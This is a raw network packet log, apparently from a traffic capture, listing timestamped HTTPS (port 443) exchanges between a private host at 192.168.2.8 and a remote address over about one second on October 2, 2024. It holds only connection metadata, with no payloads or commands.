Oct 2, 2024 06:11:48.567019939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.567027092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.567068100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.567089081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.567547083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.567608118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.567608118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.567621946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.567662001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.567939997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.567955971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.568005085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.568011999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.568041086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.568054914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.583308935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.583328962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.583370924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.583376884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.583400965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.583420992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.583899021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.583925962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.583957911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.583965063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.583991051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.584012032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.584543943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.584562063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.584604979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.584610939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.584645987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.584671021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.654934883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.654957056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.655004025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.655011892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.655040979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.655061007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.656183004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.656199932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.656255960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.656263113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.656294107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.656312943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.657577991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.657597065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.657659054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.657665014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.657717943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.658113956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.658130884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.658184052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.658190966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.658220053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.658242941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.658864021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.658880949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.658967018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.658974886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.659126043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.673985958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.674005985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.674052000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.674060106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.674088955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.674108982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.674525976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.674544096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.674603939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.674611092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.674637079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.674679041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.675188065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.675211906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.675271034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.675277948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.675359011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.745959997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.745980024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.746071100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.746071100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.746079922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.746121883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.747198105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.747216940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.747271061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.747277975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.747323990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.748359919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.748377085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.748419046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.748425007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.748456955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.748477936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.749102116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.749120951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.749166012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.749172926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.749218941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.749640942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.749660015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.749701977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.749707937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.749733925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.749756098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.764976978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.764996052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.765042067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.765048027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.765103102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.765495062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.765511990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.765563011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.765569925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.765636921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.766185045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.766202927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.766247034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.766252995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.766280890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.766309977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.836668968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.836694002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.836788893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.836808920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.836920023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.837745905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.837764978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.837811947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.837820053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.837857962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.837882996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.838901997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.838921070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.838960886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.838968039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.838998079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.839025021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.839728117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.839746952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.839787960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.839792967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.839823008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.839863062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.840197086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.840214014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.840275049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.840282917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.840332985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.855741024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.855763912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.855839968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.855853081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.855876923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.855901003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.856288910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.856313944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.856353045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.856360912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.856389999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.856410027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.856918097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.856936932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.856981993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.856988907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.857016087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.857034922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.927417040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.927442074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.927483082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.927503109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.927526951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.927546978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.928400993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.928417921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.928471088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.928478956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.928523064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.929603100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.929620028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.929692984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.929701090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.929833889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.930377960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.930397034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.930444002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.930449963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.930479050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.930497885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.931015015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.931031942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.931077003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.931085110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.931122065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.931137085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.940026999 CEST	443	49720	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:48.940617085 CEST	49720	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:48.946355104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.946382999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.946424961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.946434021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.946458101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.946480036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.946880102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.946897030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.946954966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.946962118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.946996927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.947016954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.947542906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.947560072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.947597980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.947603941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:48.947633028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:48.947657108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.018281937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.018363953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.018368006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.018399954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.018455029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.019090891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.019107103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.019157887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.019166946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.019407988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.020207882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.020226002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.020267963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.020275116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.020309925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.020320892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.020987034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.021003962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.021043062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.021049976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.021079063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.021097898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.021428108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.021445990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.021503925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.021511078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.021554947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.036931038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.036973000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.037007093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.037017107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.037036896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.037056923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.037719011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.037738085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.037821054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.037828922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.037882090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.038168907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.038186073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.038232088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.038239956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.038484097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.108899117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.108921051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.108982086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.108997107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.109018087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.109031916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.109721899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.109740019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.109785080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.109791040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.109824896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.109841108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.110879898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.110898018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.110949993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.110956907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.111681938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.111716986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.111753941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.111763000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.111773014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.111802101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.112165928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.112183094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.112256050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.112262964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.114309072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.116112947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.136791945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.136811018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.136892080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.136900902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.136951923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.150949001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.150969982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.151036024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.151043892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.151061058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.151110888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.165105104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.165123940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.165205002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.165213108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.165266037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.199567080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.199587107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.199637890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.199651957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.200020075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.218527079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.218545914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.218602896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.218611956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.218636036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.218871117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.232765913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.232784033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.232837915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.232847929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.232882977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.232899904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.246862888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.246881962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.246948004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.246956110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.246979952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.246998072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.260968924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.260998964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.261049986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.261058092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.261097908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:49.275109053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:49.275127888 CEST	443	49723	167.114.14.168	192.168.2.8
